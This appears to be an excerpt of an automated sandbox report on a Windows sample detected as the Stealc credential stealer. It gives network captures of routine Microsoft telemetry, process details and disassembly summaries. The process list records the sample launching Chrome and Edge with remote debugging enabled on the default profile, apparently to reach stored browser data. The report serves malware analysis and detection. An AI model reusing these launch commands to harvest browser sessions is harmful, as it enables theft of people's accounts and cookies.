2024-10-31 02:04:37 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=fa6d0e59e9e2430dac27109ea45c2c26&HASH=fa6d&LV=202410&V=4&LU=1730340277523; Domain=.microsoft.com; Expires=Fri, 31 Oct 2025 02:04:37 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=8ac54334000346539a285963d826ddd3; Domain=.microsoft.com; Expires=Thu, 31 Oct 2024 02:34:37 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1745 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 31 Oct 2024 02:04:36 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	50401	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:37 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:37 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:37 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 04bfc9b2-001e-0017-54ad-260c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020437Z-16849878b78j5kdg3dndgqw0vg0000000ah000000000kspp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:37 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	50402	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:37 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:37 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:37 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: eff8debc-001e-0065-199c-270b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020437Z-15b8d89586f8l5961kfst8fpb00000000mvg0000000024f0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:37 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.5	50403	20.125.209.212	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:37 UTC	1279	OUT	GET /c.gif?rnd=1730340273831&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=975651cc5bb74788834f172e3f218273&activityId=975651cc5bb74788834f172e3f218273&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=D82108320B634A7C9AB122F8DD6A6885&MUID=3CD7EF6E4E356EB83574FA474F626FE4 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3CD7EF6E4E356EB83574FA474F626FE4; _EDGE_S=F=1&SID=2210217DA71A682B2F663454A634693E; _EDGE_V=1; SM=T; msnup=; _C_ETH=1
2024-10-31 02:04:37 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 06:33:28 GMT Accept-Ranges: bytes ETag: "b116c54f951fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=3CD7EF6E4E356EB83574FA474F626FE4; domain=.msn.com; expires=Tue, 25-Nov-2025 02:04:37 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=3CD7EF6E4E356EB83574FA474F626FE4; domain=c.msn.com; expires=Tue, 25-Nov-2025 02:04:37 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Thu, 07-Nov-2024 02:04:37 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Thu, 31-Oct-2024 02:14:37 GMT; path=/; SameSite=None; Secure; Date: Thu, 31 Oct 2024 02:04:36 GMT Connection: close Content-Length: 42
2024-10-31 02:04:37 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.5	50404	20.42.65.90	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:37 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730340276088&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9894 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3CD7EF6E4E356EB83574FA474F626FE4; _EDGE_S=F=1&SID=2210217DA71A682B2F663454A634693E; _EDGE_V=1; msnup=; _C_ETH=1
2024-10-31 02:04:37 UTC	9894	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 30 2d 33 31 54 30 32 3a 30 34 3a 33 36 2e 30 38 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 61 33 39 38 32 33 64 32 2d 63 64 61 30 2d 34 35 66 61 2d 38 63 32 61 2d 36 65 38 63 36 66 35 65 31 39 31 38 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 35 36 35 34 38 37 37 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-10-31T02:04:36.087Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"a39823d2-cda0-45fa-8c2a-6e8c6f5e1918","epoch":"2656548777"},"app":{"loc
2024-10-31 02:04:37 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=37140ad1d0074cbb959e020fe5534a4b&HASH=3714&LV=202410&V=4&LU=1730340277506; Domain=.microsoft.com; Expires=Fri, 31 Oct 2025 02:04:37 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=1d2d84a4140f4b0cad13b0bf1a83bb66; Domain=.microsoft.com; Expires=Thu, 31 Oct 2024 02:34:37 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1418 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 31 Oct 2024 02:04:37 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	50405	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:37 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:37 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:37 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: eb0745eb-f01e-003c-6cca-2a8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020437Z-159b85dff8flhpxphC1DFWbnq80000000140000000009pyh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:37 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Target ID:	0
Start time:	22:03:57
Start date:	30/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xc80000
File size:	2'145'792 bytes
MD5 hash:	08093CA094E4BD396C0A1202363CE047
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2459973983.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2461007040.00000000014CE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2041928747.0000000005390000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2461007040.0000000001527000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:04:07
Start date:	30/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:04:08
Start date:	30/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=2132,i,11183207803879685055,12485712220521479239,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:04:19
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	22:04:19
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2396 --field-trial-handle=2360,i,16132675019208268467,7043388266169476351,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	22:04:19
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	22:04:20
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2672 --field-trial-handle=2588,i,14145993167360465944,9521195328599800155,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	22:04:25
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6976 --field-trial-handle=2588,i,14145993167360465944,9521195328599800155,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	22:04:25
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7156 --field-trial-handle=2588,i,14145993167360465944,9521195328599800155,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	22:05:20
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7300 --field-trial-handle=2588,i,14145993167360465944,9521195328599800155,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C5935A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C61F688,00001000), ref: 6C5935D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5935E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C5935FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C59363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C59369F
__aulldiv.LIBCMT ref: 6C5936E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C593773
EnterCriticalSection.KERNEL32(6C61F688), ref: 6C59377E
LeaveCriticalSection.KERNEL32(6C61F688), ref: 6C5937BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C5937C4
EnterCriticalSection.KERNEL32(6C61F688), ref: 6C5937CB
LeaveCriticalSection.KERNEL32(6C61F688), ref: 6C593801
__aulldiv.LIBCMT ref: 6C593883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C593902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C593918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C59394C

Strings

AuthcAMDenti, xrefs: 6C593946
GenuntelineI, xrefs: 6C593639
GTC, xrefs: 6C593912
MOZ_TIMESTAMP_MODE, xrefs: 6C5935DB
QPC, xrefs: 6C5938FC

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 8a331dc13c20feedfcc7a0e6ea563407215512246d234e40c10a2ae9d1330b8f
Instruction ID: 2fb384fc89d032195b56beeb59570bdfa3bd4d45301d9d23b67a07d4707178c2
Opcode Fuzzy Hash: 8a331dc13c20feedfcc7a0e6ea563407215512246d234e40c10a2ae9d1330b8f
Instruction Fuzzy Hash: 27B1B671B093509FDB08DF2EC89661A7BF5AB8A705F04892EE499D3B50D770D9018B8A

Function 6C5AC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C5AC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C5AC969
GetSystemInfo.KERNEL32(?), ref: 6C5AC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C5AC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C5AC9E2

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 37cb966b3fb5464dd465eab7f5eb0564ef81b7b5a59c1700317d398a61329707
Instruction ID: 354ea1e88a0f6d6f808642979dc12259e35dc934f28bd8083a8c604d76b15e01
Opcode Fuzzy Hash: 37cb966b3fb5464dd465eab7f5eb0564ef81b7b5a59c1700317d398a61329707
Instruction Fuzzy Hash: 6F21FB71701208AFDB04AAAECCC5BAE72B9AB86745F50051AF907E7F40D7617C0587A9

Function 6C593060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C593095

Part of subcall function 6C5935A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C61F688,00001000), ref: 6C5935D5
Part of subcall function 6C5935A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5935E0
Part of subcall function 6C5935A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C5935FD
Part of subcall function 6C5935A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C59363F
Part of subcall function 6C5935A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C59369F
Part of subcall function 6C5935A0: __aulldiv.LIBCMT ref: 6C5936E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C59309F

Part of subcall function 6C5B5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5B56EE,?,00000001), ref: 6C5B5B85
Part of subcall function 6C5B5B50: EnterCriticalSection.KERNEL32(6C61F688,?,?,?,6C5B56EE,?,00000001), ref: 6C5B5B90
Part of subcall function 6C5B5B50: LeaveCriticalSection.KERNEL32(6C61F688,?,?,?,6C5B56EE,?,00000001), ref: 6C5B5BD8
